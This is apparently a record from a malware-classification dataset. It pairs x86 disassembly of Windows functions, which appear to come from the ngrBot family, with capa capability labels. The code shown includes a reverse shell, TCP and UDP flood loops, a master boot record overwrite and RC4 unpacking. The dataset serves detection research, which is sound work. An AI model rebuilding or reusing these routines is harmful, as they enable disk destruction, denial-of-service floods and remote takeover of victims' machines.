joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4040b0
Capabilities:
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1cc8
call fcn.004105c0
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov eax, dword [0x45b2f8]
push ebx
push esi
mov dword [ebp - 8], ecx
mov ecx, dword [0x45b2fc]
mov dword [ebp - 0x18], eax
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], ecx
call fcn.004040a0
mov ebx, dword [ebp - 0xc]
mov edx, dword [0x45b300]
mov eax, dword [0x45b304]
mov edi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
add ebx, 0x23f
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], 0x20
jmp 0x404120
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov esi, dword [ebp - 8]
mov eax, dword [0x462a74]
shl esi, 4
add esi, dword [ebp - 0x20]
cmp eax, 0xfa9
jne 0x40414c
mov dword [0x462a70], 0xedeb2e40
jmp 0x404167
cmp eax, 0x3eb
jne 0x404167
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [0x462500], 0
mov ecx, dword [ebp - 8]
add ecx, ebx
mov eax, dword [ebp - 8]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x24]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x462a74], 0x9e6
mov dword [0x462a6c], 0xf4ea3dee
jne 0x40419f
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x462a74], 0x213
jne 0x40423b
push 0
lea eax, [ebp - 0x14c8]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
lea ecx, [ebp - 0x4c8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xcc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0
push 0
call edi
push 0
push 0
lea ecx, [ebp - 0x1cc8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0
push 0
call edi
lea edx, [ebp - 0x2c]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea eax, [ebp - 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov esi, dword [ebp - 0x10]
sub esi, dword [ebp - 4]
cmp dword [0x462a74], 0xc
mov dword [ebp - 0x10], esi
jne 0x404255
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov edx, esi
shr edx, 5
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
mov eax, esi
shl eax, 4
add eax, dword [ebp - 0x18]
lea ecx, [ebx + esi]
xor eax, ecx
xor eax, dword [ebp - 4]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
sub dword [ebp - 8], eax
add ebx, 0x61c88647
sub dword [ebp - 0x14], 1
jne 0x404120
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
pop edi
pop esi
mov dword [eax], edx
mov dword [eax + 4], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4042b0
Capabilities:
Connect pipe
Create process on windows
Create reverse shell
Read pipe
Set environment variable
Set thread local storage value
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1408
call fcn.004105c0
mov eax, dword [0x462a74]
mov ecx, dword [0x462504]
shr eax, 3
test eax, eax
jbe 0x4043c8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov edi, edi
cmp dword [0x462a74], 0x959
jne 0x4043ae
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push 0
lea ecx, [ebp - 0xc08]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
lea edx, [ebp - 0x808]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
lea eax, [ebp - 0x1408]
push eax
push 0
call edi
mov ecx, dword [ebp - 4]
push ecx
call fcn.004040b0
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x4042f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405790
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45a0d8]
jne 0x40579a
repz ret
jmp fcn.004086de

Function at 0x408304
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406f26
and dword [ebp - 4], 0
cmp dword [0x4604ac], 0
mov ebx, eax
jne 0x4083b5
push 0x401ae0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x408466
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401ad4
push edi
call esi
test eax, eax
je 0x408466
push eax
call fcn.00406eb4
mov dword [esp], 0x401ac4
push edi
mov dword [0x4604ac], eax
call esi
push eax
call fcn.00406eb4
mov dword [esp], 0x401ab0
push edi
mov dword [0x4604b0], eax
call esi
push eax
call fcn.00406eb4
mov dword [esp], 0x401a94
push edi
mov dword [0x4604b4], eax
call esi
push eax
call fcn.00406eb4
pop ecx
mov dword [0x4604bc], eax
test eax, eax
je 0x4083b5
push 0x401a7c
push edi
call esi
push eax
call fcn.00406eb4
pop ecx
mov dword [0x4604b8], eax
mov eax, dword [0x4604b8]
cmp eax, ebx
je 0x40840d
cmp dword [0x4604bc], ebx
je 0x40840d
push eax
call fcn.00406f2f
push dword [0x4604bc]
mov esi, eax
call fcn.00406f2f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40840d
test edi, edi
je 0x40840d
call esi
test eax, eax
je 0x408404
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x408404
test byte [ebp - 0xc], 1
jne 0x40840d
or dword [ebp + 0x10], 0x200000
jmp 0x408446
mov eax, dword [0x4604b0]
cmp eax, ebx
je 0x408446
push eax
call fcn.00406f2f
pop ecx
test eax, eax
je 0x408446
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x408446
mov eax, dword [0x4604b4]
cmp eax, ebx
je 0x408446
push eax
call fcn.00406f2f
pop ecx
test eax, eax
je 0x408446
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4604ac]
call fcn.00406f2f
pop ecx
test eax, eax
je 0x408466
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408468
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0xe33900
Capabilities:
Act as tcp client
Check for time delay via gettickcount
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
sub esp, 0x3dc
mov eax, dword [esp + 0x3e0]
push ebx
push ebp
push esi
push edi
push eax
mov dword [esp + 0x14], 1
call fcn.00e369b0
mov ecx, dword [esp + 0x3f8]
add esp, 4
mov esi, eax
mov word [esp + 0x14], 2
push ecx
call sub.WS2_32.dll_htons
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov word [esp + 0x16], ax
mov dword [esp + 0x18], esi
call ebp
mov esi, eax
call ebp
mov ecx, eax
mov eax, dword [esp + 0x3f8]
sub esi, ecx
mov dword [esp + 0xf4], ecx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ebx, [eax + eax*4]
shl ebx, 3
cmp esi, ebx
ja 0xe33a07
mov eax, dword [0xe446a0]
test eax, eax
jne 0xe33a07
lea esi, [esp + 0x24]
mov edi, 0x32
push 0
push 1
push 2
call sub.WS2_32.dll_socket
cmp eax, 0xffffffff
mov dword [esi], eax
je 0xe339ab
lea edx, [esp + 0x10]
push edx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
add esi, 4
dec edi
jne 0xe33989
lea esi, [esp + 0x24]
mov edi, 0x32
mov ecx, dword [esi]
lea eax, [esp + 0x14]
push 0x10
push eax
push ecx
call sub.WS2_32.dll_connect
add esi, 4
dec edi
jne 0xe339ba
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea esi, [esp + 0x24]
mov edi, 0x32
mov edx, dword [esi]
push edx
call sub.WS2_32.dll_closesocket
add esi, 4
dec edi
jne 0xe339e0
push 0x4b
call dword [sym.imp.KERNEL32.dll_Sleep]
call ebp
sub eax, dword [esp + 0xf4]
cmp eax, ebx
jbe 0xe33973
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3dc
ret
Function at 0xe33b90
Capabilities:
Check for time delay via gettickcount
Create udp socket
Send data
Send data on socket
Set socket configuration

Disassembly:
mov eax, 0x1a40
call sub.ntdll.dll__chkstk
mov eax, dword [esp + 0x1a44]
push ebx
push ebp
push esi
push edi
push eax
mov dword [esp + 0x14], 1
call fcn.00e369b0
mov edx, dword [esp + 0x1a5c]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 4
mov esi, eax
test edx, edx
jne 0xe33be7
call edi
push eax
call main
add esp, 4
call sub.MSVCRT.dll_rand
and eax, 0xffff
mov ecx, 0xffff
cdq
idiv ecx
inc edx
push edx
mov word [esp + 0x18], 2
call sub.WS2_32.dll_htons
mov dword [esp + 0x18], esi
mov word [esp + 0x16], ax
xor esi, esi
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xff
idiv ecx
inc esi
cmp esi, 0x1964
mov byte [esp + esi + 0xeb], dl
jl 0xe33bff
call edi
mov esi, eax
call edi
mov ebp, eax
mov eax, dword [esp + 0x1a5c]
sub esi, ebp
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ebx, [eax + eax*4]
shl ebx, 3
cmp esi, ebx
ja 0xe33cdb
mov eax, dword [0xe446a0]
test eax, eax
jne 0xe33cdb
lea esi, [esp + 0x24]
mov edi, 0x32
push 0x11
push 2
push 2
call sub.WS2_32.dll_socket
cmp eax, 0xffffffff
mov dword [esi], eax
je 0xe33c79
lea edx, [esp + 0x10]
push edx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
add esi, 4
dec edi
jne 0xe33c57
lea esi, [esp + 0x24]
mov edi, 0x32
mov edx, dword [esi]
lea eax, [esp + 0x14]
push 0x10
push eax
push 0
lea ecx, [esp + 0xf8]
push 0x1964
push ecx
push edx
call sub.WS2_32.dll_sendto
add esi, 4
dec edi
jne 0xe33c88
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea esi, [esp + 0x24]
mov edi, 0x32
mov eax, dword [esi]
push eax
call sub.WS2_32.dll_closesocket
add esi, 4
dec edi
jne 0xe33cbd
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebp
cmp eax, ebx
jbe 0xe33c41
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a40
ret
Function at 0xe34200
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
mov esi, dword [esp + 0xc]
or eax, 0xffffffff
xor ecx, ecx
test esi, esi
jbe 0xe34236
push ebx
push edi
mov edi, dword [esp + 0x10]
xor edx, edx
mov ebx, eax
mov dl, byte [ecx + edi]
and ebx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0xe41dc0]
xor eax, edx
inc ecx
cmp ecx, esi
jb 0xe34214
pop edi
pop ebx
not eax
pop esi
ret

Function at 0xe34240
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 4
push 0x1000
push 0x8000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [ebp - 8], eax
jne 0xe3426e
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x20000080
push 3
push 0
push 3
push 0xc0000000
push 0xe421c0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0xe3429e
mov eax, 0xfffffffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push 0
push eax
push 0
push 0
push 0
push 0
push 0x90018
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ecx
push esi
push edi
mov ecx, 0x2000
xor eax, eax
mov edi, dword [ebp - 8]
rep stosd dword es:[edi], eax
pop edi
pop esi
pop ecx
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [ebp - 4]
push 0
push ecx
push 0x7e00
push edi
push ebx
call esi
test eax, eax
jne 0xe342ff
mov eax, 0xfffffffd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edx, [ebp - 4]
push 0
push edx
push 0x7e00
push edi
push ebx
call esi
test eax, eax
jne 0xe3432b
mov eax, 0xfffffffc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push 0
push eax
push 0x8000
push edi
push ebx
call esi
test eax, eax
jne 0xe3432b
lea ecx, [ebp - 4]
push eax
push ecx
push eax
push eax
push eax
push eax
push 0x9001c
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xe34360
Capabilities:
Overwrite master boot record (mbr)
Write file on windows

Disassembly:
sub esp, 0x208
push esi
push edi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 3
lea eax, [esp + 0x14]
push str.00100
push eax
call fcn.00e3b834
add esp, 0xc
mov byte [esp + 0x20e], 0x55
mov byte [esp + 0x20f], 0xaa
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push 0xe421c0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0xe343cd
pop edi
or eax, eax
pop esi
add esp, 0x208
ret
lea ecx, [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
lea edx, [esp + 0xc]
push 0
push edx
lea eax, [esp + 0x18]
push 0x200
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [esp + 8]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
add esp, 0x208
ret

Function at 0xe34520
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
push esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0xe34553
xor eax, eax
pop esi
pop ecx
ret
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
lea ecx, [esp + 4]
push 0
push ecx
mov ecx, dword [eax]
push edx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
jne 0xe3457d
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
pop ecx
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
pop ecx
ret

Function at 0xe345e0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x208
push esi
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0xa]
mov word [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 8]
push 0x208
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0xe34672
mov esi, dword [esp + 0x214]
push esi
call fcn.00e3b873
lea ecx, [esp + 0xc]
mov edi, eax
push ecx
call fcn.00e3b873
add esp, 8
cmp edi, eax
jbe 0xe34672
lea edx, [esp + 8]
push edx
call fcn.00e3b873
push eax
lea eax, [esp + 0x10]
push eax
push esi
call sub.ntdll.dll__memicmp
add esp, 0x10
test eax, eax
jne 0xe34672
mov ecx, dword [esp + 0x218]
push ecx
push esi
call fcn.00e34590
add esp, 8
test eax, eax
je 0xe34672
pop edi
mov eax, 1
pop esi
add esp, 0x208
ret
pop edi
xor eax, eax
pop esi
add esp, 0x208
ret
Function at 0xe346d0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push 0x10
lea eax, [esp + 4]
push 0
push eax
call fcn.00e3b7fb
push 0x44
lea ecx, [esp + 0x20]
push 0
push ecx
call fcn.00e3b7fb
add esp, 0x18
lea edx, [esp]
lea eax, [esp + 0x10]
mov ecx, dword [esp + 0x58]
push edx
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
push 0
push ecx
mov dword [esp + 0x38], 0x44
mov dword [esp + 0x64], 1
mov word [esp + 0x68], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
add esp, 0x54
ret

Function at 0xe34780
Capabilities:
Write file on windows

Disassembly:
sub esp, 0xc04
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0xc10]
lea edx, [esp + 0x80c]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc14]
push eax
push ecx
push 0x3fe
push edx
call sub.ntdll.dll__vsnprintf
lea eax, [esp + 0x81c]
lea ecx, [esp + 0x41c]
push eax
push 0xe401a8
push ecx
call sub.ntdll.dll_sprintf
push str.t2f_im
push str..pipe_s_ipc
lea edx, [esp + 0x30]
push 0x3ff
push edx
call sub.ntdll.dll__snprintf
add esp, 0x2c
push 0xe44658
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 3
push 0
push 0
lea eax, [esp + 0x20]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0xe34858
lea ecx, [esp + 8]
push 0
lea edx, [esp + 0x410]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x418]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xe44658
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
add esp, 0xc04
ret
Function at 0xe349a0
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x404
lea ecx, [esp + 4]
push ebx
push ebp
push esi
xor esi, esi
push edi
xor eax, eax
mov dword [ecx], eax
inc eax
add ecx, 4
cmp eax, 0x100
jl 0xe349b2
mov ebx, dword [esp + 0x424]
mov ebp, dword [esp + 0x41c]
xor ecx, ecx
lea edi, [esp + 0x14]
mov eax, ecx
xor edx, edx
div ebx
xor eax, eax
mov al, byte [edx + ebp]
mov edx, dword [edi]
add eax, edx
add esi, eax
and esi, 0x800000ff
jns 0xe349f4
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [edi]
mov eax, dword [esp + esi*4 + 0x14]
mov byte [esp + 0x10], dl
mov dword [edi], eax
mov edx, dword [esp + 0x10]
add edi, 4
and edx, 0xff
inc ecx
cmp ecx, 0x100
mov dword [esp + esi*4 + 0x14], edx
jl 0xe349d3
mov eax, dword [esp + 0x420]
xor edx, edx
test eax, eax
jbe 0xe34aa2
mov ebp, dword [esp + 0x418]
inc ecx
and ecx, 0x800000ff
jns 0xe34a3f
dec ecx
or ecx, 0xffffff00
inc ecx
mov edi, dword [esp + ecx*4 + 0x14]
add esi, edi
and esi, 0x800000ff
jns 0xe34a55
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esp + ecx*4 + 0x14]
mov edi, dword [esp + esi*4 + 0x14]
mov byte [esp + 0x10], bl
mov dword [esp + ecx*4 + 0x14], edi
mov edi, dword [esp + 0x10]
and edi, 0xff
mov dword [esp + esi*4 + 0x14], edi
mov ebx, dword [esp + ecx*4 + 0x14]
add ebx, edi
and ebx, 0x800000ff
jns 0xe34a89
dec ebx
or ebx, 0xffffff00
inc ebx
mov bl, byte [esp + ebx*4 + 0x14]
xor byte [edx + ebp], bl
inc edx
cmp edx, eax
jb 0xe34a2e
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x404
ret
mov eax, dword [esp + 0x418]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x404
ret

Function at 0xe34ac0
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x404
lea ecx, [esp + 4]
push ebx
push ebp
push esi
push edi
xor edi, edi
xor eax, eax
mov dword [ecx], eax
inc eax
add ecx, 4
cmp eax, 0x100
jb 0xe34ad2
mov ebx, dword [esp + 0x424]
mov ebp, dword [esp + 0x41c]
xor esi, esi
lea ecx, [esp + 0x14]
mov eax, esi
xor edx, edx
div ebx
add ecx, 4
mov al, byte [edx + ebp]
mov edx, dword [ecx - 4]
add eax, edx
mov byte [esp + 0x10], dl
mov edx, dword [esp + 0x10]
add eax, edi
and eax, 0xff
and edx, 0xff
mov edi, eax
inc esi
cmp esi, 0x100
mov eax, dword [esp + edi*4 + 0x14]
mov dword [ecx - 4], eax
mov dword [esp + edi*4 + 0x14], edx
jb 0xe34af3
mov ebp, dword [esp + 0x420]
mov eax, dword [esp + 0x418]
xor esi, esi
xor edi, edi
xor ecx, ecx
test ebp, ebp
jbe 0xe34b97
inc esi
and esi, 0xff
mov edx, dword [esp + esi*4 + 0x14]
add edx, edi
and edx, 0xff
mov edi, edx
mov dl, byte [esp + esi*4 + 0x14]
mov byte [esp + 0x10], dl
mov edx, dword [esp + edi*4 + 0x14]
mov dword [esp + esi*4 + 0x14], edx
mov edx, dword [esp + 0x10]
and edx, 0xff
mov dword [esp + edi*4 + 0x14], edx
mov ebx, dword [esp + esi*4 + 0x14]
add ebx, edx
and ebx, 0xff
mov dl, byte [esp + ebx*4 + 0x14]
mov bl, byte [ecx + eax]
xor bl, dl
mov byte [ecx + eax], bl
inc ecx
cmp ecx, ebp
jb 0xe34b47
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x404
ret
Function at 0xe34bb0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 8
push esi
push edi
mov byte [esp + 8], 0x68
mov byte [esp + 9], 0x61
mov byte [esp + 0xa], 0x78
mov byte [esp + 0xb], 0x65
mov byte [esp + 0xc], 0x72
call fcn.00e34980
mov edi, dword [eax + 8]
xor ecx, ecx
xor esi, esi
mov eax, dword [edi + 0x3c]
add eax, edi
mov cx, word [eax + 0x14]
lea edx, [ecx + eax + 0x18]
xor ecx, ecx
mov cx, word [eax + 6]
test ecx, ecx
jle 0xe34c01
cmp dword [edx], 0x7461642e
je 0xe34c17
inc esi
add edx, 0x28
cmp esi, ecx
jl 0xe34bf1
push 0x1f4
push 0x2ee
call dword [sym.imp.KERNEL32.dll_Beep]
pop edi
pop esi
add esp, 8
ret
mov eax, dword [edx + 0x10]
mov edx, dword [edx + 0xc]
push 5
lea ecx, [esp + 0xc]
push eax
add edx, edi
push ecx
push edx
call fcn.00e349a0
add esp, 0x10
pop edi
pop esi
add esp, 8
ret

Function at 0xe34c40
Capabilities:
Create thread
Terminate process

Disassembly:
mov eax, dword [0xe407ac]
push ebx
push ebp
xor ebp, ebp
xor ebx, ebx
push esi
test eax, eax
push edi
jbe 0xe34c92
mov edi, 0xe407ac
mov esi, 0xe407a8
mov eax, dword [edi]
mov ecx, dword [esi]
push 0x20
push eax
push 0xe406ac
push ecx
call fcn.00e34ac0
mov edx, dword [edi]
mov eax, dword [esi]
push edx
push eax
call fcn.00e34200
mov ecx, dword [esi + 8]
add esp, 0x18
cmp eax, ecx
jne 0xe34c9e
add esi, 0xc
add ebp, eax
inc ebx
mov eax, dword [esi + 4]
lea edi, [esi + 4]
test eax, eax
ja 0xe34c5b
lea ecx, [ebx + ebx*2]
cmp ebp, dword [ecx*4 + 0xe407b0]
je 0xe34cda
push 0
push 0
push 0
push 0xe39e30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x30
push str.ngrBot_Error
push str.This_binary_is_invalid._r_n_r_nMain_reasons:_r_n__you_stupid_cracker_r_n__you_stupid_cracker..._r_n__you_stupid_cracker___r_n
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0xe352f0
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
lea eax, [esp]
push 0
push eax
mov dword [esp + 8], 3
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
pop ecx
ret